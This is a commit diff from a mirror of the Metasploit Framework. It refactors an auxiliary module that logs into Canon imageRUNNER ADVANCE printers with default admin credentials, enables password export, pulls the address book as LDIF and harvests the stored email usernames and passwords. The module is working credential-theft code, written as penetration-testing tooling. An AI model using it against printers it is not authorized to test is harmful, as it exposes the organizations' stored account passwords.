infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Cleanup canon_irav_pwd_extract module

bug/bundler_fix
dmohanty-r7 2016-06-07 14:31:37 -05:00
parent a15c79347b
commit f47128ccdd
No known key found for this signature in database
GPG Key ID: D1B3982EAB38742F
1 changed files with 71 additions and 53 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

124
modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb
View File

@ -1,14 +1,11 @@
# #
# This module requires Metasploit: http//metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'rex/proto/http'
require 'msf/core' require 'msf/core'
class MetasploitModule < Msf::Auxiliary
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -31,7 +28,9 @@ class Metasploit3 < Msf::Auxiliary
'Author' => 'Author' =>
[ [
'Deral "Percentx" Heiland', 'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi' 'Pete "Bokojan" Arzamendi',
'William Vu',
'Dev Mohanty'
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
)) ))
@ -40,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
[ [
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]), OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]), OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
OptInt.new('RPORT', [ true, 'The target port', 8000]), Opt::RPORT(8000),
OptString.new('USER', [ true, 'The default Admin user', '7654321']), OptString.new('USER', [ true, 'The default Admin user', '7654321']),
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']), OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
@ -48,7 +47,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class) ], self.class)
end end
# Time to start the fun
def run_host(ip) def run_host(ip)
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}") print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
login(ip) login(ip)
@ -56,31 +54,32 @@ class Metasploit3 < Msf::Auxiliary
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting #Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
def login(ip) def login(ip)
login_post_data = "uri=%2f&deptid=#{datastore['USER']}&password=#{datastore['PASSWD']}" vars_post = {
"uri" => "%2f",
"deptid" => "#{datastore['USER']}",
"password" => "#{datastore['PASSWD']}"
}
begin begin
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => '/login', 'uri' => normalize_uri('/login'),
'data' => login_post_data, 'vars_post' => vars_post
}, datastore['TIMEOUT'].to_i) }, datastore['TIMEOUT'].to_i)
end end
#grab Canon sessionid cookie #grab Canon sessionid cookie
idcookie = res.get_cookies idcookie = res.nil? ? nil : res.get_cookies
if (res.code == 301 or res.code == 302 and res.headers['Location'] != nil) if res.code == 301 || res.code == 302 && res.headers.include?('Location')
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'") print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
#grab Canon IR= session cookie #grab Canon IR= session cookie
begin res = send_request_cgi({
res = send_request_cgi({ 'method' => 'GET',
'method' => 'GET', 'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
'uri' => '/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064', 'headers' => {'Cookie' => "#{idcookie}"},
'headers' => {'Cookie' => "#{idcookie}"}, }, datastore['TIMEOUT'].to_i)
}, datastore['TIMEOUT'].to_i) ircookie = res.nil? ? nil : res.get_cookies
end
ircookie = res.get_cookies
cookies=("#{idcookie}; #{ircookie}") cookies=("#{idcookie}; #{ircookie}")
set_allow(cookies) set_allow(cookies)
@ -93,32 +92,47 @@ class Metasploit3 < Msf::Auxiliary
end end
# Set the allow password export to on # Set the allow password export to on
def set_allow(cookies) def set_allow(cookies)
set_post_data = "ADRSEXPPSWDCHK=0&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115" vars_post = {
"ADRSEXPPSWDCHK" => "0",
"PageFlag" => "c_adrs.tpl",
"Flag" => "Exec_Data",
"CoreNXAction" => "./cadrs.cgi",
"CoreNXPage" => "c_adrexppass.tpl",
"CoreNXFlag" => "Init_Data",
"Dummy" => "1359048058115"
}
begin begin
res = send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => '/rps/cadrs.cgi', 'uri' => normalize_uri('/rps/cadrs.cgi'),
'data' => set_post_data, 'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"}, 'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i) }, datastore['TIMEOUT'].to_i)
end end
end end
# Extract the adress book data and save out to loot # Extract the adress book data and save out to loot
def extract(cookies, ip) def extract(cookies, ip)
extract_data ="AID=#{datastore['ADDRSBOOK']}&ACLS=1&ENC_MODE=0&ENC_FILE=password&PASSWD=&PageFlag=&AMOD=&Dummy=1359047882596&ERR_PG_KIND_FLG=Adress_Export" vars_post = {
begin "AID" => "#{datastore['ADDRSBOOK']}",
res = send_request_cgi({ "ACLS" => "1",
'method' => 'POST', "ENC_MODE" => "0",
'uri' => '/rps/abook.ldif', "ENC_FILE" => "password",
'data' => extract_data, "PASSWD" => "",
'headers' => {'Cookie' => "#{cookies}"}, "PageFlag" => "",
}, datastore['TIMEOUT'].to_i) "AMOD" => "",
end "Dummy" => "1359047882596",
address_book = (res.body) "ERR_PG_KIND_FLG" => "Adress_Export"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/abook.ldif'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
address_book = res.nil? ? nil : res.body
print_status("#{address_book}") print_status("#{address_book}")
#Woot we got loot. #Woot we got loot.
@ -127,23 +141,27 @@ class Metasploit3 < Msf::Auxiliary
loot_filename = "Canon-addressbook.text" loot_filename = "Canon-addressbook.text"
loot_desc = "Canon Addressbook Harvester" loot_desc = "Canon Addressbook Harvester"
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc) p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
print_status("Credentials saved in: #{p.to_s}") print_status("Credentials saved in: #{p}")
harvest_ldif(address_book, ip) harvest_ldif(address_book, ip)
end end
# Reset the allow password export to off # Reset the allow password export to off
def set_disallow(cookies) def set_disallow(cookies)
set_post_data = "ADRSEXPPSWDCHK=1&PageFlag=c_adrs.tpl&Flag=Exec_Data&CoreNXAction=./cadrs.cgi&CoreNXPage=c_adrexppass.tpl&CoreNXFlag=Init_Data&Dummy=1359048058115" vars_post = {
"ADRSEXPPSWDCHK" => "1",
begin "PageFlag" => "c_adrs.tpl",
res = send_request_cgi({ "Flag" => "Exec_Data",
'method' => 'POST', "CoreNXAction" => "./cadrs.cgi",
'uri' => '/rps/cadrs.cgi', "CoreNXPage" => "c_adrexppass.tpl",
'data' => set_post_data, "CoreNXFlag" => "Init_Data&Dummy=1359048058115"
'headers' => {'Cookie' => "#{cookies}"}, }
}, datastore['TIMEOUT'].to_i) res = send_request_cgi({
end 'method' => 'POST',
'uri' => normalize_uri('/rps/cadrs.cgi'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
end end
# Harvest Credential # Harvest Credential
@ -152,7 +170,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def harvest_credentials(mailaddress, pwd, ip) def harvest_credentials(mailaddress, pwd, ip)
return 0 if mailaddress == nil return if mailaddress == nil
username_domain = mailaddress.split('@') username_domain = mailaddress.split('@')
username = username_domain[0] username = username_domain[0]
domain = username_domain[1] domain = username_domain[1]
@ -161,7 +179,7 @@ class Metasploit3 < Msf::Auxiliary
address: Rex::Socket.getaddress(ip), address: Rex::Socket.getaddress(ip),
port: rport, port: rport,
protocol: 'tcp', protocol: 'tcp',
service_name: 'http', service_name: ssl ? 'https' : 'http',
workspace_id: myworkspace_id workspace_id: myworkspace_id
} }
@ -175,7 +193,7 @@ class Metasploit3 < Msf::Auxiliary
create_credential(credential_data.merge(service_data)) create_credential(credential_data.merge(service_data))
puts "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r" print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
end end
def harvest_file(ldif, ip) def harvest_file(ldif, ip)